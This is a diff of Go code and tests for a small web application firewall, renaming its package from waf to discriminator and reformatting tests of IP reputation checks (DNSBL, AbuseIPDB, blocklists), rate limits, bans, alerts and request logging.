// fromDE, in SWW_ALLOW_NETS, is not checked at all: neither is noted // fromDE, in SWW_ALLOW_NETS, is not checked at all: neither is noted
// for the zone, nor alerted, nor asked about. // for the zone, nor alerted, nor asked about.
wantReputation( wantReputation(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied),
t, dropURL)
s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied),
dropURL,
)
wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward)) wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward))
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 || waiting[0].Detail["source"] != dropURL { if len(waiting) != 1 || waiting[0].Detail["source"] != dropURL {
t.Errorf( t.Errorf("alerts waiting %+v, want the blocklist's reputation_hit alone", waiting)
"alerts waiting %+v, want the blocklist's reputation_hit alone",
waiting,
)
} }
if queries := server.DNSBL.Queries(dnsblZone); queries != 0 { if queries := server.DNSBL.Queries(dnsblZone); queries != 0 {
@@ -560,7 +494,7 @@ func TestReputationSourcesTagTheRequestWhateverTheirAction(t *testing.T) {
for _, tc := range []struct { for _, tc := range []struct {
name string name string
env map[string]string env map[string]string
load func(*waf.Server) load func(*discriminator.Server)
want []string want []string
}{ }{
{ {
@@ -568,7 +502,7 @@ func TestReputationSourcesTagTheRequestWhateverTheirAction(t *testing.T) {
map[string]string{ map[string]string{
dnsblZones: dnsblZone, dnsblResolver: noResolver, reputationAction: actionLog, dnsblZones: dnsblZone, dnsblResolver: noResolver, reputationAction: actionLog,
}, },
func(server *waf.Server) { func(server *discriminator.Server) {
loadVerdicts(server, map[string][]string{fromDE: {dnsblZone}}) loadVerdicts(server, map[string][]string{fromDE: {dnsblZone}})
}, },
[]string{"asn=64496", "country=DE", "dnsbl=" + dnsblZone}, []string{"asn=64496", "country=DE", "dnsbl=" + dnsblZone},
@@ -576,7 +510,7 @@ func TestReputationSourcesTagTheRequestWhateverTheirAction(t *testing.T) {
{ {
abuseipdb, abuseipdb,
map[string]string{abuseIPDBKey: accountKey, reputationAction: actionLog}, map[string]string{abuseIPDBKey: accountKey, reputationAction: actionLog},
func(server *waf.Server) { func(server *discriminator.Server) {
loadScores(server, map[string]int64{fromDE: 80}) loadScores(server, map[string]int64{fromDE: 80})
}, },
[]string{abuseipdb, "asn=64496", "country=DE"}, []string{abuseipdb, "asn=64496", "country=DE"},
@@ -588,17 +522,13 @@ func TestReputationSourcesTagTheRequestWhateverTheirAction(t *testing.T) {
s, server, _ := startWithLookups(t, tc.env) s, server, _ := startWithLookups(t, tc.env)
tc.load(server) tc.load(server)
wantTags( wantTags(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
t,
s.get(fromDE, http.StatusOK, requestlog.ActionForward),
tc.want...) tc.want...)
}) })
} }
} }
func TestObserveModeForwardsAClientADNSBLZoneDeniesAndAlertsIt( func TestObserveModeForwardsAClientADNSBLZoneDeniesAndAlertsIt(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
s, server, queue := startWithLookups(t, map[string]string{ s, server, queue := startWithLookups(t, map[string]string{
@@ -617,9 +547,7 @@ func TestObserveModeForwardsAClientADNSBLZoneDeniesAndAlertsIt(
} }
} }
func TestReputationLimitTakesPartInTheLowestPercentageOfEveryLimit( func TestReputationLimitTakesPartInTheLowestPercentageOfEveryLimit(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for _, tc := range []struct { for _, tc := range []struct {
@@ -635,9 +563,7 @@ func TestReputationLimitTakesPartInTheLowestPercentageOfEveryLimit(
{actionLog, limitQuarter, "25 from " + reputationAction}, {actionLog, limitQuarter, "25 from " + reputationAction},
{actionLog, actionLog, none}, {actionLog, actionLog, none},
} { } {
t.Run( t.Run(tc.blocklistAction+" "+tc.reputationAction, func(t *testing.T) {
tc.blocklistAction+" "+tc.reputationAction,
func(t *testing.T) {
t.Parallel() t.Parallel()
s, server, _ := startWithLookups(t, map[string]string{ s, server, _ := startWithLookups(t, map[string]string{
@@ -646,17 +572,10 @@ func TestReputationLimitTakesPartInTheLowestPercentageOfEveryLimit(
reputationAction: tc.reputationAction, reputationAction: tc.reputationAction,
}) })
loadLists(t, server, map[string][]string{dropURL: {fromDE}}) loadLists(t, server, map[string][]string{dropURL: {fromDE}})
loadVerdicts( loadVerdicts(server, map[string][]string{fromDE: {dnsblZone}})
server,
map[string][]string{fromDE: {dnsblZone}},
)
// Named by the blocklist, then by the zone. // Named by the blocklist, then by the zone.
line := s.get( line := s.get(fromDE, http.StatusOK, requestlog.ActionForward)
fromDE,
http.StatusOK,
requestlog.ActionForward,
)
wantReputation(t, line, dropURL, dnsblZone) wantReputation(t, line, dropURL, dnsblZone)
wantPercent(t, "rate_limit_percent", wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting, line.RateLimitPercent, line.RateLimitPercentSetting,
@@ -664,8 +583,7 @@ func TestReputationLimitTakesPartInTheLowestPercentageOfEveryLimit(
wantPercent(t, "bytes_limit_percent", wantPercent(t, "bytes_limit_percent",
line.BytesLimitPercent, line.BytesLimitPercentSetting, line.BytesLimitPercent, line.BytesLimitPercentSetting,
tc.want) tc.want)
}, })
)
} }
} }
@@ -685,12 +603,8 @@ func TestEachZoneThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
// The second request's alerts are repeats, which the cooldown holds // The second request's alerts are repeats, which the cooldown holds
// back. // back.
for range 2 { for range 2 {
wantReputation( wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
t, dnsblZone, otherZone)
s.get(fromDE, http.StatusOK, requestlog.ActionForward),
dnsblZone,
otherZone,
)
} }
hit := func(zone string) alerts.Alert { hit := func(zone string) alerts.Alert {
@@ -711,10 +625,7 @@ func TestEachZoneThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
wantAlerts(t, queue, hit(dnsblZone), hit(otherZone)) wantAlerts(t, queue, hit(dnsblZone), hit(otherZone))
if queue.Suppressed() != 2 { if queue.Suppressed() != 2 {
t.Errorf( t.Errorf("%d alerts held back, want the second request's 2", queue.Suppressed())
"%d alerts held back, want the second request's 2",
queue.Suppressed(),
)
} }
// Each zone's hits, and its queries and their failures, none, since // Each zone's hits, and its queries and their failures, none, since
@@ -745,19 +656,12 @@ func TestZoneKeyIsMaskedInTheLogTheAlertAndTheMetrics(t *testing.T) {
}) })
loadVerdicts(server, map[string][]string{fromDE: {keyed}, unplaced: nil}) loadVerdicts(server, map[string][]string{fromDE: {keyed}, unplaced: nil})
wantReputation( wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward), masked)
t,
s.get(fromDE, http.StatusOK, requestlog.ActionForward),
masked,
)
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 || waiting[0].Detail["source"] != masked { if len(waiting) != 1 || waiting[0].Detail["source"] != masked {
t.Errorf( t.Errorf("alerts waiting %+v, want a reputation_hit alert from %s", waiting,
"alerts waiting %+v, want a reputation_hit alert from %s", masked)
waiting,
masked,
)
} }
metrics := s.scrape() metrics := s.scrape()
@@ -773,9 +677,7 @@ func TestZoneKeyIsMaskedInTheLogTheAlertAndTheMetrics(t *testing.T) {
} }
} }
func TestRequestFromAClientWithoutAVerdictHasTheZoneAskedAboutIt( func TestRequestFromAClientWithoutAVerdictHasTheZoneAskedAboutIt(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
s, server, _ := startWithLookups(t, map[string]string{ s, server, _ := startWithLookups(t, map[string]string{
@@ -791,11 +693,7 @@ func TestRequestFromAClientWithoutAVerdictHasTheZoneAskedAboutIt(
// request finds the query under way, or the zone left alone after it // request finds the query under way, or the zone left alone after it
// failed, since nothing answers at noResolver. // failed, since nothing answers at noResolver.
for range 2 { for range 2 {
wantReputation( wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward), otherZone)
t,
s.get(fromDE, http.StatusOK, requestlog.ActionForward),
otherZone,
)
} }
if queries := server.DNSBL.Queries(dnsblZone); queries != 1 { if queries := server.DNSBL.Queries(dnsblZone); queries != 1 {
@@ -817,7 +715,7 @@ const (
// AbuseIPDB. // AbuseIPDB.
const abuseipdb = reputation.AbuseIPDBSource const abuseipdb = reputation.AbuseIPDBSource
// abuseIPDBURL is where newWAF has clients checked with AbuseIPDB: at // abuseIPDBURL is where newDiscriminator has clients checked with AbuseIPDB: at
// abuseIPDBStandIn, which TestMain registers with Go's default transport, // abuseIPDBStandIn, which TestMain registers with Go's default transport,
// through which AbuseIPDB is asked. // through which AbuseIPDB is asked.
const abuseIPDBURL = "abuseipdb://stand-in/api/v2/check" const abuseIPDBURL = "abuseipdb://stand-in/api/v2/check"
@@ -827,23 +725,17 @@ const abuseIPDBURL = "abuseipdb://stand-in/api/v2/check"
type abuseIPDBStandIn struct{} type abuseIPDBStandIn struct{}
// RoundTrip answers req with the score 100. // RoundTrip answers req with the score 100.
func (abuseIPDBStandIn) RoundTrip( func (abuseIPDBStandIn) RoundTrip(req *http.Request) (*http.Response, error) {
req *http.Request,
) (*http.Response, error) {
return &http.Response{ return &http.Response{
StatusCode: http.StatusOK, StatusCode: http.StatusOK,
Status: "200 OK", Status: "200 OK",
Header: http.Header{}, Header: http.Header{},
Body: io.NopCloser( Body: io.NopCloser(strings.NewReader(`{"data":{"abuseConfidenceScore":100}}`)),
strings.NewReader(`{"data":{"abuseConfidenceScore":100}}`),
),
Request: req, Request: req,
}, nil }, nil
} }
func TestOnlyAClientThatHasCommittedAnOffenceIsCheckedWithAbuseIPDB( func TestOnlyAClientThatHasCommittedAnOffenceIsCheckedWithAbuseIPDB(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
forward := requestlog.ActionForward forward := requestlog.ActionForward
@@ -867,16 +759,14 @@ func TestOnlyAClientThatHasCommittedAnOffenceIsCheckedWithAbuseIPDB(
clk.advance(time.Hour) clk.advance(time.Hour)
wantReputation(t, s.get(fromDE, http.StatusOK, forward)) wantReputation(t, s.get(fromDE, http.StatusOK, forward))
wantAbuseIPDBChecks(t, server, 1) wantAbuseIPDBChecks(t, server, 1)
waitUntil(func() bool { return len(server.AbuseIPDB.Snapshot()) == 1 }) waitUntil(func() bool { return len(server.AbuseIPDB.Snapshot().Scores) == 1 })
wantReputation(t, s.get(fromDE, http.StatusOK, forward), abuseipdb) wantReputation(t, s.get(fromDE, http.StatusOK, forward), abuseipdb)
s.get(fromKP, http.StatusOK, forward) s.get(fromKP, http.StatusOK, forward)
wantAbuseIPDBChecks(t, server, 1) wantAbuseIPDBChecks(t, server, 1)
} }
func TestIPv6ClientCostsOneAbuseIPDBCheckWhicheverOfItsAddressesSends( func TestIPv6ClientCostsOneAbuseIPDBCheckWhicheverOfItsAddressesSends(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
forward := requestlog.ActionForward forward := requestlog.ActionForward
@@ -885,10 +775,7 @@ func TestIPv6ClientCostsOneAbuseIPDBCheckWhicheverOfItsAddressesSends(
// of its own. // of its own.
var addresses []string var addresses []string
for i := 1; i < 16; i++ { for i := 1; i < 16; i++ {
addresses = append( addresses = append(addresses, fmt.Sprintf("2001:db8:1:2:%x::9", i<<12))
addresses,
fmt.Sprintf("2001:db8:1:2:%x::9", i<<12),
)
} }
s, clk, server := startWithClock(t, "", map[string]string{ s, clk, server := startWithClock(t, "", map[string]string{
@@ -902,11 +789,7 @@ func TestIPv6ClientCostsOneAbuseIPDBCheckWhicheverOfItsAddressesSends(
s.get(addresses[0], http.StatusOK, forward) s.get(addresses[0], http.StatusOK, forward)
} }
s.get( s.get(addresses[0], http.StatusForbidden, requestlog.ActionClientIsRateLimited)
addresses[0],
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
clk.advance(time.Hour) clk.advance(time.Hour)
// Once the ban has ended, which set its counters back to zero, a // Once the ban has ended, which set its counters back to zero, a
@@ -925,9 +808,7 @@ const (
blockedPath = "/blocked" blockedPath = "/blocked"
) )
func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest( func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for _, tc := range []struct { for _, tc := range []struct {
@@ -970,11 +851,7 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(
wantAbuseIPDBChecks(t, server, 0) wantAbuseIPDBChecks(t, server, 0)
if got := historyOf(t, server, client).Offences; got != tc.want { if got := historyOf(t, server, client).Offences; got != tc.want {
t.Errorf( t.Errorf("history counts the offences %+v, want %+v", got, tc.want)
"history counts the offences %+v, want %+v",
got,
tc.want,
)
} }
// Its next request, once any ban for a clear sign of attack // Its next request, once any ban for a clear sign of attack
@@ -986,9 +863,7 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(
} }
} }
func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum( func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
forward, denied := requestlog.ActionForward, requestlog.ActionClientDenied forward, denied := requestlog.ActionForward, requestlog.ActionClientDenied
@@ -1036,11 +911,7 @@ func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(
// A request refused for the score is not counted. // A request refused for the score is not counted.
counted := line.fields["counts"] != nil counted := line.fields["counts"] != nil
if counted != (tc.actions[i] != denied) { if counted != (tc.actions[i] != denied) {
t.Errorf( t.Errorf("request counted %t, logged %s", counted, tc.actions[i])
"request counted %t, logged %s",
counted,
tc.actions[i],
)
} }
} }
@@ -1054,8 +925,7 @@ func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(
} }
// A refusal for the score makes no ban. // A refusal for the score makes no ban.
if held := server.Ledger.Snapshot(); tc.action == actionDeny && if held := server.Ledger.Snapshot(); tc.action == actionDeny && len(held) != 0 {
len(held) != 0 {
t.Errorf("bans %+v, want none", held) t.Errorf("bans %+v, want none", held)
} }
}) })
@@ -1074,11 +944,8 @@ func TestAbuseIPDBHitRaisesAnAlertWithTheScoreOncePerCooldownAndIsCounted(
// The second request's alert is a repeat, which the cooldown holds back. // The second request's alert is a repeat, which the cooldown holds back.
for range 2 { for range 2 {
wantReputation( wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
t, abuseipdb)
s.get(fromDE, http.StatusOK, requestlog.ActionForward),
abuseipdb,
)
} }
// The alert is made as a DNSBL zone's is, with the score besides. // The alert is made as a DNSBL zone's is, with the score besides.
@@ -1087,12 +954,8 @@ func TestAbuseIPDBHitRaisesAnAlertWithTheScoreOncePerCooldownAndIsCounted(
waiting[0].Reason != "scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE" || waiting[0].Reason != "scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE" ||
waiting[0].Detail["source"] != abuseipdb || waiting[0].Detail["score"] != int64(90) || waiting[0].Detail["source"] != abuseipdb || waiting[0].Detail["score"] != int64(90) ||
queue.Suppressed() != 1 { queue.Suppressed() != 1 {
t.Errorf( t.Errorf("alerts waiting %+v, %d held back, want AbuseIPDB's reputation_hit "+
"alerts waiting %+v, %d held back, want AbuseIPDB's reputation_hit "+ "with the score 90, and 1", waiting, queue.Suppressed())
"with the score 90, and 1",
waiting,
queue.Suppressed(),
)
} }
// The hits, and the checks, none, since no client committed an // The hits, and the checks, none, since no client committed an
@@ -1103,12 +966,7 @@ func TestAbuseIPDBHitRaisesAnAlertWithTheScoreOncePerCooldownAndIsCounted(
wantMetric(t, metrics, "sww_reputation_hits_total"+labels, 2) wantMetric(t, metrics, "sww_reputation_hits_total"+labels, 2)
wantMetric(t, metrics, "sww_reputation_queries_total"+labels, 0) wantMetric(t, metrics, "sww_reputation_queries_total"+labels, 0)
wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0) wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0)
wantMetric( wantMetric(t, metrics, "sww_reputation_daily_budget_remaining"+labels, 900)
t,
metrics,
"sww_reputation_daily_budget_remaining"+labels,
900,
)
} }
func TestWithoutAnAbuseIPDBKeyNoClientIsCheckedNorAScoreUsed(t *testing.T) { func TestWithoutAnAbuseIPDBKeyNoClientIsCheckedNorAScoreUsed(t *testing.T) {
@@ -1138,8 +996,7 @@ func TestBanNotesNameEachReputationSourceThatListedTheClient(t *testing.T) {
score := int64(90) score := int64(90)
listed := []bans.ReputationHit{ listed := []bans.ReputationHit{
{Source: dropURL}, {Source: dnsblZone}, {Source: dropURL}, {Source: dnsblZone}, {Source: abuseipdb, Score: &score},
{Source: abuseipdb, Score: &score},
} }
for _, tc := range []struct { for _, tc := range []struct {
@@ -1167,12 +1024,8 @@ func TestBanNotesNameEachReputationSourceThatListedTheClient(t *testing.T) {
// Every source lists client, and none otherClient, whose score is // Every source lists client, and none otherClient, whose score is
// under SWW_ABUSEIPDB_MIN_SCORE, 75 by default. // under SWW_ABUSEIPDB_MIN_SCORE, 75 by default.
loadLists(t, server, map[string][]string{dropURL: {client}}) loadLists(t, server, map[string][]string{dropURL: {client}})
loadVerdicts(server, map[string][]string{ loadVerdicts(server, map[string][]string{client: {dnsblZone}, otherClient: nil})
client: {dnsblZone}, otherClient: nil, loadScores(server, map[string]int64{client: score, otherClient: 74})
})
loadScores(server, map[string]int64{
client: score, otherClient: 74,
})
for _, banned := range []struct { for _, banned := range []struct {
from string from string
@@ -1180,20 +1033,10 @@ func TestBanNotesNameEachReputationSourceThatListedTheClient(t *testing.T) {
}{{client, listed}, {otherClient, nil}} { }{{client, listed}, {otherClient, nil}} {
tc.ban(s, banned.from) tc.ban(s, banned.from)
held := server.Ledger.Bans( held := server.Ledger.Bans(netip.MustParsePrefix(banned.from + "/32"))
netip.MustParsePrefix(banned.from + "/32"), if len(held) != 1 || !reflect.DeepEqual(held[0].Notes.Reputation, banned.want) {
) t.Errorf("bans of %s %+v, want one whose notes have the reputation %+v",
if len(held) != 1 || banned.from, held, banned.want)
!reflect.DeepEqual(
held[0].Notes.Reputation,
banned.want,
) {
t.Errorf(
"bans of %s %+v, want one whose notes have the reputation %+v",
banned.from,
held,
banned.want,
)
} }
} }
@@ -1207,13 +1050,9 @@ func TestBanNotesNameEachReputationSourceThatListedTheClient(t *testing.T) {
} }
} }
want := [][]bans.ReputationHit{listed, nil} if want := [][]bans.ReputationHit{listed, nil}; !reflect.DeepEqual(alerted, want) {
if !reflect.DeepEqual(alerted, want) { t.Errorf("the ban alerts' notes have the reputation %+v, want %+v",
t.Errorf( alerted, want)
"the ban alerts' notes have the reputation %+v, want %+v",
alerted,
want,
)
} }
}) })
} }
@@ -1233,24 +1072,17 @@ func verdictsFetched() time.Time {
// loadVerdicts puts into server's DNSBL, for each client listedBy names, // loadVerdicts puts into server's DNSBL, for each client listedBy names,
// a verdict of each zone SWW_DNSBL_ZONES names, fetched at // a verdict of each zone SWW_DNSBL_ZONES names, fetched at
// verdictsFetched, as dnsbl.json would at start: one that lists the // verdictsFetched, as reputation.json would at start: one that lists the
// client from each zone listedBy gives for it, and one that does not from // client from each zone listedBy gives for it, and one that does not from
// each other zone. // each other zone.
func loadVerdicts(server *waf.Server, listedBy map[string][]string) { func loadVerdicts(server *discriminator.Server, listedBy map[string][]string) {
verdicts := make( verdicts := make([]reputation.Verdict, 0, len(listedBy)*len(server.DNSBL.Zones()))
[]reputation.Verdict,
0,
len(listedBy)*len(server.DNSBL.Zones()),
)
for client, zones := range listedBy { for client, zones := range listedBy {
for _, zone := range server.DNSBL.Zones() { for _, zone := range server.DNSBL.Zones() {
verdicts = append(verdicts, reputation.Verdict{ verdicts = append(verdicts, reputation.Verdict{
Zone: zone, Client: netip.MustParseAddr(client), Zone: zone, Client: netip.MustParseAddr(client),
Listed: slices.Contains( Listed: slices.Contains(zones, zone), Fetched: verdictsFetched(),
zones,
zone,
), Fetched: verdictsFetched(),
}) })
} }
} }
@@ -1259,9 +1091,9 @@ func loadVerdicts(server *waf.Server, listedBy map[string][]string) {
} }
// loadScores puts into server's AbuseIPDB the score scores gives each // loadScores puts into server's AbuseIPDB the score scores gives each
// client, an IPv4 address, fetched at verdictsFetched, as // client, an IPv4 address, fetched at verdictsFetched, as reputation.json
// abuseipdb-scores.json would at start. // would at start.
func loadScores(server *waf.Server, scores map[string]int64) { func loadScores(server *discriminator.Server, scores map[string]int64) {
kept := make([]reputation.Score, 0, len(scores)) kept := make([]reputation.Score, 0, len(scores))
for client, score := range scores { for client, score := range scores {
kept = append(kept, reputation.Score{ kept = append(kept, reputation.Score{
@@ -1270,12 +1102,12 @@ func loadScores(server *waf.Server, scores map[string]int64) {
}) })
} }
server.AbuseIPDB.Load(kept) server.AbuseIPDB.Load(reputation.Checks{Scores: kept})
} }
// wantAbuseIPDBChecks checks how many clients server has checked with // wantAbuseIPDBChecks checks how many clients server has checked with
// AbuseIPDB. // AbuseIPDB.
func wantAbuseIPDBChecks(t *testing.T, server *waf.Server, want int) { func wantAbuseIPDBChecks(t *testing.T, server *discriminator.Server, want int) {
t.Helper() t.Helper()
if got := server.AbuseIPDB.Checked(); got != want { if got := server.AbuseIPDB.Checked(); got != want {
@@ -1284,12 +1116,8 @@ func wantAbuseIPDBChecks(t *testing.T, server *waf.Server, want int) {
} }
// loadLists puts copies of lists into server's lists, by URL, each with // loadLists puts copies of lists into server's lists, by URL, each with
// its lines, fetched at listsFetched, as lists.json would at start. // its lines, fetched at listsFetched, as reputation.json would at start.
func loadLists( func loadLists(t *testing.T, server *discriminator.Server, copies map[string][]string) {
t *testing.T,
server *waf.Server,
copies map[string][]string,
) {
t.Helper() t.Helper()
lists := make([]reputation.List, 0, len(copies)) lists := make([]reputation.List, 0, len(copies))
@@ -1311,10 +1139,6 @@ func wantReputation(t *testing.T, line logLine, want ...string) {
t.Helper() t.Helper()
if !slices.Equal(line.Reputation, want) { if !slices.Equal(line.Reputation, want) {
t.Errorf( t.Errorf("log line has reputation %v, want %v", line.Reputation, want)
"log line has reputation %v, want %v",
line.Reputation,
want,
)
} }
} }
@@ -1,4 +1,4 @@
package waf package discriminator
import ( import (
"context" "context"
@@ -17,7 +17,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/rules" "sneak.berlin/go/smallwebwaf/internal/rules"
) )
// refusal is waf refusing a request: the status the visitor is to get, 0 // refusal is discriminator refusing a request: the status the visitor is to get, 0
// to close its connection without an answer, and the action the log line names. // to close its connection without an answer, and the action the log line names.
type refusal struct { type refusal struct {
status int status int
@@ -25,7 +25,7 @@ type refusal struct {
} }
// decision is what the checks note of a request: its log line, and what // decision is what the checks note of a request: its log line, and what
// counting the request needs once it has ended. waf keeps a copy of it // counting the request needs once it has ended. discriminator keeps a copy of it
// until the request's report comes. It holds no credentials, since the log line // until the request's report comes. It holds no credentials, since the log line
// never does, and neither the request's objects nor their bodies. // never does, and neither the request's objects nor their bodies.
type decision struct { type decision struct {
@@ -34,7 +34,7 @@ type decision struct {
// requestURI is the path with the query, as a ban's notes keep it. // requestURI is the path with the query, as a ban's notes keep it.
requestURI string requestURI string
// site is, for a question, the host the visitor asked for, which the // site is, for a question, the host the visitor asked for, which the
// alerts name, since one waf serves many sites. // alerts name, since one discriminator serves many sites.
site string site string
// allowed is true for a question answered with DispositionAllow. // allowed is true for a question answered with DispositionAllow.
allowed bool allowed bool
@@ -63,7 +63,7 @@ type decision struct {
reputation []bans.ReputationHit reputation []bans.ReputationHit
} }
// request is one request to waf, from the moment its headers have been // request is one request to discriminator, from the moment its headers have been
// read to its log line. // read to its log line.
type request struct { type request struct {
decision decision
@@ -90,10 +90,7 @@ type request struct {
// with what is known of the request. isQuestion says whether r is a question, // with what is known of the request. isQuestion says whether r is a question,
// whose headers give the request's id and scheme. // whose headers give the request's id and scheme.
func (h *handler) startRequest( func (h *handler) startRequest(
w http.ResponseWriter, w http.ResponseWriter, r *http.Request, client, peer netip.Addr, isQuestion bool,
r *http.Request,
client, peer netip.Addr,
isQuestion bool,
) *request { ) *request {
h.metrics.RequestStarted() h.metrics.RequestStarted()
@@ -121,10 +118,7 @@ func (h *handler) startRequest(
ForwardedFor: strings.Join(forwardedFor, ", "), ForwardedFor: strings.Join(forwardedFor, ", "),
ClientGroup: h.clientGroup(client).String(), ClientGroup: h.clientGroup(client).String(),
ContentType: r.Header.Get("Content-Type"), ContentType: r.Header.Get("Content-Type"),
RequestHeaders: requestHeaders( RequestHeaders: requestHeaders(r, h.config.LogRequestHeaders),
r,
h.config.LogRequestHeaders,
),
HasAuthorization: len(r.Header.Values("Authorization")) > 0, HasAuthorization: len(r.Header.Values("Authorization")) > 0,
HasCookie: len(r.Header.Values("Cookie")) > 0, HasCookie: len(r.Header.Values("Cookie")) > 0,
Action: requestlog.ActionForward, Action: requestlog.ActionForward,
@@ -197,10 +191,7 @@ func (rq *request) check(ctx context.Context) *refusal {
action == requestlog.ActionBlockedByCoreRuleSet: action == requestlog.ActionBlockedByCoreRuleSet:
return &refusal{status: http.StatusForbidden, action: action} return &refusal{status: http.StatusForbidden, action: action}
case action == requestlog.ActionRequestHeaderTooLarge: case action == requestlog.ActionRequestHeaderTooLarge:
return &refusal{ return &refusal{status: http.StatusRequestHeaderFieldsTooLarge, action: action}
status: http.StatusRequestHeaderFieldsTooLarge,
action: action,
}
default: default:
return rq.banResponse(action) return rq.banResponse(action)
} }
@@ -290,11 +281,7 @@ func (rq *request) finish() {
func (rq *request) writeLine() { func (rq *request) writeLine() {
err := requestlog.Write(rq.h.requestLog, &rq.line) err := requestlog.Write(rq.h.requestLog, &rq.line)
if err != nil { if err != nil {
rq.h.processLog.Error( rq.h.processLog.Error("writing the request log failed", "error", err.Error())
"writing the request log failed",
"error",
err.Error(),
)
} }
} }
@@ -328,11 +315,7 @@ func (rq *request) addToHistory() {
BlockedByCoreRuleSet: rq.blockedByCoreRuleSet, BlockedByCoreRuleSet: rq.blockedByCoreRuleSet,
} }
rq.h.limiter.AddToHistory( rq.h.limiter.AddToHistory(rq.h.clientGroup(rq.client), rq.h.now(), request)
rq.h.clientGroup(rq.client),
rq.h.now(),
request,
)
rq.h.metrics.Offences(request) rq.h.metrics.Offences(request)
answer, found := rq.answerAtTheEnd() answer, found := rq.answerAtTheEnd()
@@ -370,10 +353,8 @@ func (rq *request) countAnomalies() {
func anomalyThresholdsSet(cfg *config.Config) bool { func anomalyThresholdsSet(cfg *config.Config) bool {
off := anomaly.Thresholds{} off := anomaly.Thresholds{}
return cfg.AnomalyClient != off || cfg.AnomalyNet != off || return cfg.AnomalyClient != off || cfg.AnomalyNet != off || cfg.AnomalyASN != off ||
cfg.AnomalyASN != off || cfg.AnomalyTotal != off || cfg.AnomalyWatch != off
cfg.AnomalyTotal != off ||
cfg.AnomalyWatch != off
} }
// answerAtTheEnd returns, for a client that was looked up, the lookup's // answerAtTheEnd returns, for a client that was looked up, the lookup's
@@ -392,7 +373,7 @@ func (rq *request) answerAtTheEnd() (lookup.Answer, bool) {
return rq.h.geojs.Kept(rq.h.clientGroup(rq.client)) return rq.h.geojs.Kept(rq.h.clientGroup(rq.client))
} }
// responseWriter is waf's answer to a request. It notes the status and // responseWriter is discriminator's answer to a request. It notes the status and
// size for the log line, and the first error writing the answer. // size for the log line, and the first error writing the answer.
type responseWriter struct { type responseWriter struct {
http.ResponseWriter http.ResponseWriter
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"encoding/json" "encoding/json"
@@ -11,9 +11,9 @@ import (
"testing" "testing"
"time" "time"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
) )
const ( const (
@@ -92,10 +92,8 @@ func TestLogLineHasEachFieldWhereItApplies(t *testing.T) {
} }
if strings.Contains(out.text(), "secret") { if strings.Contains(out.text(), "secret") {
t.Errorf( t.Errorf("a value of Authorization, Cookie or Set-Cookie is logged:\n%s",
"a value of Authorization, Cookie or Set-Cookie is logged:\n%s", out.text())
out.text(),
)
} }
} }
@@ -104,13 +102,10 @@ func TestLogLineHasEachFieldWhereItApplies(t *testing.T) {
func wantFullLine(t *testing.T, line logLine) { func wantFullLine(t *testing.T, line logLine) {
t.Helper() t.Helper()
headers := map[string]string{ headers := map[string]string{"accept": "text/html", "x-custom": "one, two"}
"accept": "text/html",
"x-custom": "one, two",
}
want := withTimings(line, requestlog.Line{ want := withTimings(line, requestlog.Line{
Type: requestType, WAFLine: requestlog.WAFLineReport, Type: requestType, DiscriminatorLine: requestlog.DiscriminatorLineReport,
Time: line.Time, Instance: instance, Time: line.Time, Instance: instance,
ClientIP: ipv6Client, Method: http.MethodPost, Scheme: secure, ClientIP: ipv6Client, Method: http.MethodPost, Scheme: secure,
Host: appHost, Path: "/full", Protocol: protocol, Host: appHost, Path: "/full", Protocol: protocol,
@@ -125,13 +120,8 @@ func wantFullLine(t *testing.T, line logLine) {
Minute: 1, Hour: 1, Day: 1, MinuteBytes: 8, HourBytes: 8, DayBytes: 8, Minute: 1, Hour: 1, Day: 1, MinuteBytes: 8, HourBytes: 8, DayBytes: 8,
}, },
}) })
if !reflect.DeepEqual(line.Line, want) || if !reflect.DeepEqual(line.Line, want) || line.RequestID == "from-traefik" {
